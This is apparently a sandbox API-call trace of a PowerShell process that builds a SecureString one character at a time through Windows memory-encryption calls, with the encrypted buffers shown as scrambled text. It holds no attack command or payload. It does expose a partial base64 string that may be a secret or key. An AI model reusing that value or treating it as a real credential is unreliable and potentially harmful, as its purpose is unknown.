0x0 [0245.567] EtwEventActivityIdControl () returned 0x0 [0245.567] EtwEventActivityIdControl () returned 0x0 [0245.567] GetEnvironmentVariableW (in: lpName="PSModuleAutoLoadingPreference", lpBuffer=0x5a2e684, nSize=0xc9 | out: lpBuffer="") returned 0x0 [0245.568] EtwEventActivityIdControl () returned 0x0 [0245.568] EtwEventActivityIdControl () returned 0x0 [0245.568] EtwEventActivityIdControl () returned 0x0 [0245.569] SysStringLen (param_1="") returned 0x8 [0245.569] SysStringLen (param_1="N") returned 0x8 [0245.569] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.569] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.569] SysStringLen (param_1="呿쪽콒뭠搎㢩撟ಟ") returned 0x8 [0245.569] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.569] SysStringLen (param_1="ND") returned 0x8 [0245.569] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.569] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.569] SysStringLen (param_1="驻핊껁䶴熈甂") returned 0x8 [0245.569] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.569] SysStringLen (param_1="NDZ") returned 0x8 [0245.570] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.570] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.570] SysStringLen (param_1="椘鷷披䆔ᅋ䉃㖶") returned 0x8 [0245.570] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.570] SysStringLen (param_1="NDZl") returned 0x8 [0245.570] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.570] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.570] SysStringLen (param_1="鮒뼊붳叽ᄳ봯쓖\⋜) returned 0x8 [0245.570] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.570] SysStringLen (param_1="NDZlO") returned 0x8 [0245.570] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.570] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.570] SysStringLen (param_1="쭈࢔쀜䧢橃DZ") returned 0x8 [0245.571] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.571] SysStringLen (param_1="NDZlOD") returned 0x8 [0245.571] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.571] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.571] SysStringLen (param_1="￠⎊酫졛㍫搘误") returned 0x8 [0245.571] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.571] SysStringLen (param_1="NDZlODR") returned 0x8 [0245.571] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.571] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.571] SysStringLen (param_1="ἷ䆣ƭ靴ﮦ빎⻺䯵") returned 0x8 [0245.571] SystemFunction041 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.571] SysStringLen (param_1="NDZlODRm") returned 0x8 [0245.571] SystemFunction040 (in: Memory=0x5c51c94, MemorySize=0x10, OptionFlags=0x0 | out: Memory=0x5c51c94) returned 0x0 [0245.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x8 [0245.572] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈") returned 0x10 [0245.572] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.572] SysStringLen (param_1="NDZlODRmY뮇펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.572] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈ິ퇒䄣䝰尫붌丒") returned 0x10 [0245.573] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.573] SysStringLen (param_1="NDZlODRmYz펬᠚࣢ᣆ㬞勉") returned 0x10 [0245.573] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뷰鱙켜쐠渂ጙ") returned 0x10 [0245.573] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.573] SysStringLen (param_1="NDZlODRmYzN᠚࣢ᣆ㬞勉") returned 0x10 [0245.573] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.573] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈切淿⳸㷨ⷻ彍굸") returned 0x10 [0245.573] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.574] SysStringLen (param_1="NDZlODRmYzNl࣢ᣆ㬞勉") returned 0x10 [0245.574] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈\⣙ᖳಊ垵ỽ뒡ऺ∭) returned 0x10 [0245.574] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.574] SysStringLen (param_1="NDZlODRmYzNlYᣆ㬞勉") returned 0x10 [0245.574] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.574] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뜤翜佹诞夋ヵ秭㑲") returned 0x10 [0245.574] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.574] SysStringLen (param_1="NDZlODRmYzNlYT㬞勉") returned 0x10 [0245.574] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈뽮昊\槛ጔᰆ崣⋀) returned 0x10 [0245.575] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.575] SysStringLen (param_1="NDZlODRmYzNlYTJ勉") returned 0x10 [0245.575] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈콨鄪䴳ꘘ₿㳻섖") returned 0x10 [0245.575] SystemFunction041 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.575] SysStringLen (param_1="NDZlODRmYzNlYTJh") returned 0x10 [0245.575] SystemFunction040 (in: Memory=0x3c4e94, MemorySize=0x20, OptionFlags=0x0 | out: Memory=0x3c4e94) returned 0x0 [0245.575] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x10 [0245.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴") returned 0x18 [0245.576] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.576] SysStringLen (param_1="NDZlODRmYzNlYTJhM虵亅㸱멷嘇ꚺ") returned 0x18 [0245.576] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.576] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ʹℭ䠲鵊퇱े") returned 0x18 [0245.576] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMD亅㸱멷嘇ꚺ") returned 0x18 [0245.577] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴뮼ᖽꜥॆ칖䝉") returned 0x18 [0245.577] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDF㸱멷嘇ꚺ") returned 0x18 [0245.577] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴퉢麻齟౬缍幠呌") returned 0x18 [0245.577] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.577] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFl멷嘇ꚺ") returned 0x18 [0245.577] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.577] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ራ䃳ꂺⱿ쑪") returned 0x18 [0245.578] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.578] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlM嘇ꚺ") returned 0x18 [0245.578] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴䉌龢ʦ樞䍳ሐṪ") returned 0x18 [0245.578] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.578] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTꚺ") returned 0x18 [0245.578] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.578] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴⭝\⻚﻾沞쀩饒⋐) returned 0x18 [0245.578] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTU") returned 0x18 [0245.579] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴ꗛ⾪蒷᪻릿ู찲鞃") returned 0x18 [0245.579] SystemFunction041 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.579] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUw") returned 0x18 [0245.579] SystemFunction040 (in: Memory=0x5c640ac, MemorySize=0x30, OptionFlags=0x0 | out: Memory=0x5c640ac) returned 0x0 [0245.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.579] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x18 [0245.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲") returned 0x20 [0245.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.580] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZㄵ㋛仄杫ℂ︸饉") returned 0x20 [0245.580] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.580] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲铩퀩峹闓郮\⋛) returned 0x20 [0245.580] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.644] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZD㋛仄杫ℂ︸饉") returned 0x20 [0245.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲ᤓ⭤釋径ẖ") returned 0x20 [0245.644] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.644] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE仄杫ℂ︸饉") returned 0x20 [0245.644] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.644] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲俫箙덵ꀓ솑ￛ罺኿") returned 0x20 [0245.644] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3杫ℂ︸饉") returned 0x20 [0245.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲复⿉ﵺ彺㇍㞇㑜岔") returned 0x20 [0245.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yℂ︸饉") returned 0x20 [0245.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.645] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲⸸䟷ᖃח⡙\꽉⊏) returned 0x20 [0245.645] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.645] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yz︸饉") returned 0x20 [0245.645] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲樝䎄㋬竵⭕쾫챶") returned 0x20 [0245.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.646] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzd饉") returned 0x20 [0245.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲虜偤쎛犜ᔴ") returned 0x20 [0245.646] SystemFunction041 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.646] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3Yzdi") returned 0x20 [0245.646] SystemFunction040 (in: Memory=0x32ce8c, MemorySize=0x40, OptionFlags=0x0 | out: Memory=0x32ce8c) returned 0x0 [0245.646] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x20 [0245.647] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ≡) returned 0x28 [0245.647] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiM⤷挠ﵝ九갧") returned 0x28 [0245.648] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ♡ஊ픞딱ǭ譑∠) returned 0x28 [0245.648] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMm⤷挠ﵝ九갧") returned 0x28 [0245.648] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ⩡ඈ鐅䦌㫣噬㯥익∈) returned 0x28 [0245.648] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.648] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQ挠ﵝ九갧") returned 0x28 [0245.648] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.648] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖꛆ᪴洎榃䑝衬㟠⋁) returned 0x28 [0245.649] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzﵝ九갧") returned 0x28 [0245.649] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ끡Ẉఽ笏ᱚ븓蟳ﯘ∻) returned 0x28 [0245.649] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN九갧") returned 0x28 [0245.649] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.649] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ艡⸇햃ᔼ饰驌∖) returned 0x28 [0245.649] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.649] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2갧") returned 0x28 [0245.649] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ顡㼙몺䰅▍鄗軑⊨) returned 0x28 [0245.650] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.650] SysStringLen (param_1="NDZlODRmYzNlYTJhMDFlMTUwZDE3YzdiMmQzN2J갧") returned 0x28 [0245.650] SystemFunction040 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.650] SysStringLen (param_1="흍茒꓅ꋔ茍꺹䡭㜈㊟뻠㧬蓿㆘헉⣴簢ঠ䖲靽赋呲惢ퟮ幞\닙≶ӸᲖ띡랡ꚠ馋酅汪∘) returned 0x28 [0245.650] SystemFunction041 (in: Memory=0x3c0004, MemorySize=0x50, OptionFlags=0x0 | out: Memory=0x3c0004) returned 0x0 [0245.650] 